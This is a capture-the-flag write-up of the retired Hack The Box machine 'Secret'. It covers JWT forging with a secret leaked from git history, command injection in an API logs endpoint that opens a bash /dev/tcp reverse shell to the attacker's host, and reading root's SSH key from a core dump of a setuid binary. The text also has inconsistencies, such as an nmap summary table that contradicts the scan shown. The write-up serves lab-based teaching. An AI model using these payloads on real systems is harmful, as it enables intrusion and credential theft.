Secret by k0rriban

htbexplorer report

Name	IP Address	Operating System	Points	Rating	User Owns	Root Owns	Retired	Release Date	Retired Date	Free Lab	ID
Secret	10.10.11.120	Linux	20	4.2	9724	8492	Yes	2021-10-30	2022-03-26	No	408

Summary

1. Scan ports -> 22,80,3000
2. Enumerate port 80 -> /api and source files
3. Git show on the source files -> JWT Secret Key and theadmin user
4. Forge theadmin jwt token -> Admin access to /api
5. Bash injection on /api/logs?cmd= -> RCE as dasith
6. Reverse shell -> Shell as dasith (User shell)
7. /opt/count with setuid 1 -> Folder enumeration as root
8. Crash /opt/count readings to files and check /var/crash -> RCE as root
9. Leak /root/.ssh/id_rsa -> SSH shell as root (System shell)

Enumeration

OS

TTL	OS
+- 64	Linux
+- 128	Windows

As we can see in the code snippet below, the operating system is Linux.

```
❯ ping -c 1 10.10.11.120
PING 10.10.11.120 (10.10.11.120) 56(84) bytes of data.
64 bytes from 10.10.11.120: icmp_seq=1 ttl=63 time=39.3 ms
```

Nmap port scan

First, we will scan the host for open ports.

```
❯ sudo nmap -p- -sS --min-rate 5000 10.10.11.120 -v -Pn -n -oG Enum/allPorts
```

With the utility extractPorts we list and copy the open ports:

```
❯ extractPorts Enum/allPorts

[*] Extracting information...

    [*] IP Address:  10.10.11.120

    [*] Open ports:  22,80,3000


[*] Ports have been copied to clipboard...
```

Run a detailed scan on the open ports:

```
❯ nmap -p22,80,3000 -A 10.10.11.120 -v -n -oN Enum/targeted
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Final nmap report

Port	Service	Version	Extra
80	http	Apache httpd 2.4.18	Ubuntu
2222	ssh	OpenSSH 7.2p2 Ubuntu	4ubuntu2.2

HTTP Enumeration (port 80)

Technology scan

```
❯ whatweb 10.10.11.120
http://10.10.11.120 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux]
[nginx/1.18.0 (Ubuntu)], IP[10.10.11.120], Lightbox, Meta-Author[Xiaoying Riley at 3rd Wave
Media], Script, Title[DUMB Docs], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
```

Toguether with wappalyzer output:

Technology	Version	Detail
HTTPServer	-	Ubuntu Linux
nginx	1.18.0	Ubuntu
express	-	-

Web Content discovery

```
❯ wfuzz -c -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --
hc 404 --hh 12872 "http://10.10.11.120/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.120/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
```

```
000000017:   301        10 L     16 W       183 Ch      "download"
000000090:   200        486 L    1119 W     20720 Ch    "docs"
000000291:   301        10 L     16 W       179 Ch      "assets"
000001026:   200        0 L      12 W       93 Ch       "api"
000002382:   200        486 L    1119 W     20720 Ch    "Docs"
000012688:   200        0 L      12 W       93 Ch       "API"
```

/docs contains a tutorial of how to use the api, /api contains te mentioned api, and /download let us download some source code. Next, we can enumerate the available pages from /api:

```
❯ wfuzz -c -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --
hc 404 --hh 93 "http://10.10.11.120/api/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.120/api/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002271:   401        0 L      2 W        13 Ch       "logs"
000004146:   401        0 L      2 W        13 Ch       "priv"
```

Both pages returned 401 codes, but reading up /docs we can enumerate:

- /api/user/register -> Not found
- /api/user/login -> Not found
- /api/priv -> Unauthorized

Manual enumeration

If we download the source from /download:

```
❯ unzip files.zip
❯ cd local-web
❯ ls -la
drwxrwxr-x r3van r3van 4.0 KB Fri Sep  3 07:57:09 2021 🗁 .
drwxr-xr-x r3van r3van 4.0 KB Mon Jun  6 22:49:00 2022 🗁 ..
drwxrwxr-x r3van r3van 4.0 KB Mon Jun  6 22:49:07 2022 🗁 .git
drwxrwxr-x r3van r3van 4.0 KB Fri Aug 13 06:42:59 2021 🗁 model
drwxrwxr-x r3van r3van 4.0 KB Fri Aug 13 06:42:59 2021 🗁 node_modules
drwxrwxr-x r3van r3van 4.0 KB Fri Sep  3 07:54:52 2021 🗁 public
drwxrwxr-x r3van r3van 4.0 KB Fri Sep  3 08:32:00 2021 🗁 routes
drwxrwxr-x r3van r3van 4.0 KB Fri Aug 13 06:42:59 2021 🗁 src
.rw-rw-r-- r3van r3van  72 B  Fri Sep  3 07:59:44 2021 🗋 .env
.rw-rw-r-- r3van r3van 885 B  Fri Sep  3 07:56:23 2021 JS index.js
.rw-rw-r-- r3van r3van  68 KB Fri Aug 13 06:42:59 2021 {} package-lock.json
.rw-rw-r-- r3van r3van 491 B  Fri Aug 13 06:42:59 2021 {} package.json
.rw-rw-r-- r3van r3van 651 B  Fri Aug 13 06:42:59 2021 JS validations.js
```

We can see this is a git repo, so we can enumerate the commits:

```
❯ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530
```

```
    now we can view logs from server <F0><9F><98><83>

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons
```

We see the second commit talks about security reasons, so we can see the differences with:

```
❯ git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET =
gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhp
wPTiuVwVhvwE
+TOKEN_SECRET = secret
```

We found the secret gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE, so we can use this to forge our own jwt tokens.

JWT Forging

In the first place we need to know how the jwt tokens of the app are generated. The first step is to register to the api:

```
❯ curl -X POST "http://10.10.11.120/api/user/register" -H "Content-Type: application/json" -d
'{"name":"korriban","email":"revan@korriban.com","password":"123456"}'
{"user":"korriban"}
```

Now that we are register, if we login we should recieve a jwt token:

```
❯ curl -X POST "http://10.10.11.120/api/user/login" -H "Content-Type: application/json" -d
'{"email":"revan@korriban.com","password":"123456"}'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoia29
ycmliYW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.xDnzYob7Rd0B0ydccIXCiap
Rpb_8wLChRq-HQzoZYbk
```

Now we can use this token to forge our own jwt tokens:

```
❯ python3
Python 3.10.4 (main, Mar 23 2022, 23:05:40) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> token =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoia2
```

```
9ycmliYW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.xDnzYob7Rd0B0ydccIXCia
pRpb_8wLChRq-HQzoZYbk"
>>> secret = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i
7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
>>> jwt.decode(token,secret,algorithms=["HS256"])
{'_id': '629e6a534ee994045eb6dc47', 'name': 'korriban', 'email': 'revan@korriban.com', 'iat':
1654549209}
>>> cookie = jwt.decode(token,secret,algorithms=["HS256"])
>>> cookie["name"]="admin"
>>> jwt.encode(cookie, secret, "HS256")
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoiYW
RtaW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.ilSd__NUW8_1RDAj4gFOZeJMoI
YlHVeJH-HpbD9SIjc'
```

If we use the new token to check the privileges:

```
❯ curl -X GET "http://10.10.11.120/api/logs" -H "auth-token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoiYWR
taW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.ilSd__NUW8_1RDAj4gFOZeJMoIY
lHVeJH-HpbD9SIjc" -s | jq
{
  "role": {
    "role": "you are normal user",
    "desc": "admin"
  }
}
```

So we can successfully forge and sign our jwt tokens. Now we just need to find an existing user with privileges. To do so, we will read the source code:

```
──────┬──────────────────────────────────────────────────────────────────────────
      │ File: index.js
      │ Size: 885 B
──────┼──────────────────────────────────────────────────────────────────────────
  17  │ const authRoute = require('./routes/auth');
```

If we dig into the /routes folder, we can find the private.js file:

```
❯ cat verifytoken.js
──────┬──────────────────────────────────────────────────────────────────────────
      │ File: verifytoken.js
      │ Size: 390 B
──────┼──────────────────────────────────────────────────────────────────────────
   1  │ const jwt = require("jsonwebtoken");
   2  │
   3  │ module.exports = function (req, res, next) {
   4  │     const token = req.header("auth-token");
   5  │     if (!token) return res.status(401).send("Access Denied");
   6  │
   7  │     try {
   8  │         const verified = jwt.verify(token, process.env.TOKEN_SECRET);
   9  │         req.user = verified;
  10  │         next();
  12  │     if (name == 'theadmin'){
  13  │         res.json({
  14  │             creds:{
  15  │                 role:"admin",
  16  │                 username:"theadmin",
  17  │                 desc : "welcome back admin,"
  18  │             }
  19  │         })
```

```
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})
```

We discovered that theadmin user is the user authorized to look the files:

```
>>> cookie["name"]="theadmin"
>>> jwt.encode(cookie,secret, "HS256")
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.Brw0EOVb6_uZR2L4jk-XeRXhBt0XfDmcW1UeTIxTOHw'
```

With this token, we manage to read these routes in the api:

```
❯ curl -X GET "http://10.10.11.120/api/logs" -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.Brw0EOVb6_uZR2L4jk-XeRXhBt0XfDmcW1UeTIxTOHw" -s | jq
{
  "killed": false,
  "code": 128,
  "signal": null,
  "cmd": "git log --oneline undefined"
}
❯ curl -X GET "http://10.10.11.120/api/priv" -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.Brw0EOVb6_uZR2L4jk-XeRXhBt0XfDmcW1UeTIxTOHw" -s | jq
{
  "creds": {
    "role": "admin",
    "username": "theadmin",
    "desc": "welcome back admin"
  }
}
```

RCE via API logs

If we take a look at the /api/logs output, we can see the field cmd, if we take a look at the source code:

```
LCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.Brw0EOVb6_uZR2L4jk-XeRXhBt0XfDmcW1UeTIxTOHw" -s | jq
{
❯ cat verifytoken.js
────────┬──────────────────────────────────────────────────────────────────────────
        │ File: verifytoken.js
        │ Size: 390 B
────────┼──────────────────────────────────────────────────────────────────────────
  32    │ router.get('/logs', verifytoken, (req, res) => {
  33    │     const file = req.query.file;
  34    │     const userinfo = { name: req.user }
  35    │     const name = userinfo.name.name;
```

```
    |
    |     if (name == 'theadmin'){
    |         const getLogs = `git log --oneline ${file}`;
    |         exec(getLogs, (err , output) =>{
    |             if(err){
    |                 res.status(500).send(err);
    |                 return
    |             }
    |             res.json(output);
    |         })
    |     }
    |     else{
    |         res.json({
    |             role: {
    |                 role: "you are normal user",
    |                 desc: userinfo.name.name
    |             }
    |         })
    |     }
    | })
```

As we can see, if we provide a parameter file, it will be replaced on the `getLogs` string, which is executed in bash. So we can try to obtain RCE with bash injection:

```
❯ curl -X GET "http://10.10.11.120/api/logs?file=/etc/passwd" -H "auth-token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoidGh
lYWRtaW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.Brw0EOVb6_uZR2L4jk-
XeRXhBt0XfDmcW1UeTIxTOHw" -s | jq
{
  "killed": false,
  "code": 128,
  "signal": null,
  "cmd": "git log --oneline /etc/passwd"
}
❯ curl -X GET "http://10.10.11.120/api/logs?file=/etc/passwd;whoami" -H "auth-token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoidGh
lYWRtaW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.Brw0EOVb6_uZR2L4jk-
XeRXhBt0XfDmcW1UeTIxTOHw" -s | jq
"dasith\n"
```

We successfully obtained RCE through bash injection. Now we can obtain a shell with the payload `bash -c 'bash -i >& /dev/tcp/10.10.14.18/3333 0>&1'` which urlencoded looks like `file=/etc/passwd;bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.14.18/3333%200>%261`:

```
# Payload triggerer
❯ curl -X GET "http://10.10.11.120/api/logs?file=/etc/passwd;bash%20-c%20'bash%20-
i%20>%26%20/dev/tcp/10.10.14.18/3333%200>%261'" -H "auth-token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MjllNmE1MzRlZTk5NDA0NWViNmRjNDciLCJuYW1lIjoidGh
lYWRtaW4iLCJlbWFpbCI6InJldmFuQGtvcnJpYmFuLmNvbSIsImlhdCI6MTY1NDU0OTIwOX0.Brw0EOVb6_uZR2L4jk-
XeRXhBt0XfDmcW1UeTIxTOHw" -s | jq
# Listening terminal
❯ nc -nlvp 3333
Connection from 10.10.11.120:46562
bash: cannot set terminal process group (1118): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ whoami
whoami
dasith
dasith@secret:~/local-web$ hostname -I
hostname -I
10.10.11.120 dead:beef::250:56ff:feb9:a1b4
```

We successfully obtained a user shell as dasith.

Privilege escalation

First thing we must check is if the only user above us is root:

```
dasith@secret:~/local-web$ cat /etc/passwd | grep "sh$"
cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
dasith:x:1000:1000:dasith:/home/dasith:/bin/bash
```

Next, we can try the typical vulnerabilities:

```
dasith@secret:~$ sudo -l
[sudo] password for dasith:
dasith@secret:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
```

If we check the suid binaries, we find an interesting one:

```
dasith@secret:~$ find / -perm -4000 2>/dev/null
/opt/count
dasith@secret:~$ /opt/count
Enter source file/directory name: /etc/passwd

Total characters = 1881
Total words      = 51
Total lines      = 36
Save results a file? [y/N]: y
Path: /tmp/results
dasith@secret:~$ cat /tmp/results
Total characters = 1881
Total words      = 51
Total lines      = 36
```

So we can't dump the password file as root. Anyway, we can try to break the code execution and leak the information from the coredump report. But, before that, we discovered we can enumerate restricted content just specifying a folder path:

```
dasith@secret:~$ /opt/count
Enter source file/directory name: /root
-rw-r--r--  .viminfo
drwxr-xr-x  ..
-rw-r--r--  .bashrc
drwxr-xr-x  .local
drwxr-xr-x  snap
lrwxrwxrwx  .bash_history
drwx------  .config
drwxr-xr-x  .pm2
-rw-r--r--  .profile
drwxr-xr-x  .vim
drwx------  .
drwx------  .cache
-r--------  root.txt
drwxr-xr-x  .npm
drwx------  .ssh

Total entries       = 15
Regular files       = 4
```

```
Directories         = 10
Symbolic links      = 1
Save results a file? [y/N]: n
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.ssh
drwx------  ..
-rw-------  authorized_keys
-rw-------  id_rsa
drwx------  .
-rw-r--r--  id_rsa.pub

Total entries       = 5
Regular files       = 3
Directories         = 2
Symbolic links      = 0
Save results a file? [y/N]: n
```

So we know that files `/root/root.txt` and `/root/.ssh/id_rsa` exist. Now we need a way to read their content, if we take a look at the `/opt` folder:

```
dasith@secret:~$ ls /opt
code.c  count  valgrind.log
```

We can see the file `/opt/code.c`, let's read it:

```
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }
```

We can see the above code, where the coredump generation is enabled, so we can try to interrump the process on this section:

```
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: ^Z
[1]+  Stopped                 /opt/count
dasith@secret:~$ ps
    PID TTY          TIME CMD
   1209 pts/0    00:00:00 sh
   1210 pts/0    00:00:00 bash
   1382 pts/0    00:00:00 count
   1383 pts/0    00:00:00 ps
dasith@secret:~$ kill -BUS 1382
dasith@secret:~$ fg
```

```
/opt/count
Bus error (core dumped)
```

To do so, we paused the process execution and killed its BUS, so it returned a core dumped. Now, we can try to enumerate the folder previously mentioned:

```
dasith@secret:~$ ls /var/lib/systemd/coredump/ -la
total 8
drwxr-xr-x  2 root root 4096 Feb  1  2021 .
drwxr-xr-x 10 root root 4096 Sep  3  2021 ..
```

As it was not generated in that folder, we can try some other default folders:

```
dasith@secret:~$ ls /var/cache/abrt -la
ls: cannot access '/var/cache/abrt': No such file or directory
dasith@secret:~$ ls /var/crash -la
total 88
drwxrwxrwt  2 root   root    4096 Jun 10 09:31 .
drwxr-xr-x 14 root   root    4096 Aug 13  2021 ..
-rw-r-----  1 root   root   27203 Oct  6  2021 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28127 Jun 10 09:31 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5  2021 _opt_countzz.0.crash
```

We found the dumps at `/var/crash`, and we can see a crash generated by `dasith`, `/var/crash/_opt_count.1000.crash`, let's take a look with `strings`. But strings doesn't return legible information, it returns a complete report in base64. So, as an alternative we can use `apport-unpack`, this binary extracts the reports information and presents it as a

```
dasith@secret:~$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/report
dasith@secret:~$ ls /tmp/report -la
total 436
drwxr-xr-x  2 dasith dasith   4096 Jun 10 09:40 .
drwxrwxrwt 13 root   root     4096 Jun 10 09:40 ..
-rw-r--r--  1 dasith dasith      5 Jun 10 09:40 Architecture
-rw-r--r--  1 dasith dasith 380928 Jun 10 09:40 CoreDump
-rw-r--r--  1 dasith dasith     24 Jun 10 09:40 Date
-rw-r--r--  1 dasith dasith     12 Jun 10 09:40 DistroRelease
-rw-r--r--  1 dasith dasith     10 Jun 10 09:40 ExecutablePath
-rw-r--r--  1 dasith dasith     10 Jun 10 09:40 ExecutableTimestamp
-rw-r--r--  1 dasith dasith      5 Jun 10 09:40 ProblemType
-rw-r--r--  1 dasith dasith     10 Jun 10 09:40 ProcCmdline
-rw-r--r--  1 dasith dasith     12 Jun 10 09:40 ProcCwd
-rw-r--r--  1 dasith dasith     64 Jun 10 09:40 ProcEnviron
-rw-r--r--  1 dasith dasith   2144 Jun 10 09:40 ProcMaps
-rw-r--r--  1 dasith dasith   1336 Jun 10 09:40 ProcStatus
-rw-r--r--  1 dasith dasith      1 Jun 10 09:40 Signal
-rw-r--r--  1 dasith dasith     29 Jun 10 09:40 Uname
-rw-r--r--  1 dasith dasith      3 Jun 10 09:40 UserGroups
```

We can try to apply `strings` over `CoreDump` file:

```
dasith@secret:~$ strings /tmp/report/CoreDump
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$\"
```

```
Save results a file? [y/N]: words      = 2
Total lines      = 2
/root/root.txt
f38635097fadff0646312d1935dca2a6
aliases
ethers
group
gshadow
```

Success! We can now try to obtain a shell as root leaking the /root/.ssh/id_rsa file:

```
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: ^Z
[1]+  Stopped                 /opt/count
dasith@secret:~$ ps
    PID TTY          TIME CMD
   1209 pts/0    00:00:00 sh
   1210 pts/0    00:00:00 bash
   1480 pts/0    00:00:00 count
   1481 pts/0    00:00:00 ps
dasith@secret:~$ kill -BUS 1480
dasith@secret:~$ fg
/opt/count
Bus error (core dumped)
```

And now, we read the content of the key:

```
dasith@secret:~$ rm -rf /tmp/report/
dasith@secret:~$ apport-unpack /var/crash/_opt_count.1000.crash  /tmp/report
dasith@secret:~$ strings /tmp/report/CoreDump
# ...
Total lines      = 39
/root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
# SSH KEY CONTENT
-----END OPENSSH PRIVATE KEY-----
# ...
```

Now we can connect to the machine as root:

```
❯ echo "-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----" > Results/id_rsa
❯ chmod 600 Results/id_rsa
❯ ssh root@10.10.11.120 -i Results/id_rsa
Last login: Tue Oct 26 15:13:55 2021
root@secret:~# hostname -I
10.10.11.120 dead:beef::250:56ff:feb9:ef35
root@secret:~# ls
root.txt  snap
```

We obtained root shell at secret.htb.

CVE

No CVEs were consulted to pwn this target.

Machine flags

Type	Flag	Blood	Date
User	a1408e0c419bbb2ade4ccea5d60e2830	No	06-06-2022
Root	f38635097fadff0646312d1935dca2a6	No	10-06-2022

References

- https://wiki.archlinux.org/title/Core_dump
- https://stackoverflow.com/questions/2065912/core-dumped-but-core-file-is-not-in-the-current-directory
- http://manpages.ubuntu.com/manpages/impish/man1/apport-unpack.1.html